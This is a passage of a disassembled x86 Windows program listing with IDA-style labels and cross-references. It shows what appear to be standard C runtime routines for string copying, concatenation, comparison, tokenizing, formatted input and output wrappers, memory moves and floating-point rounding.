					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


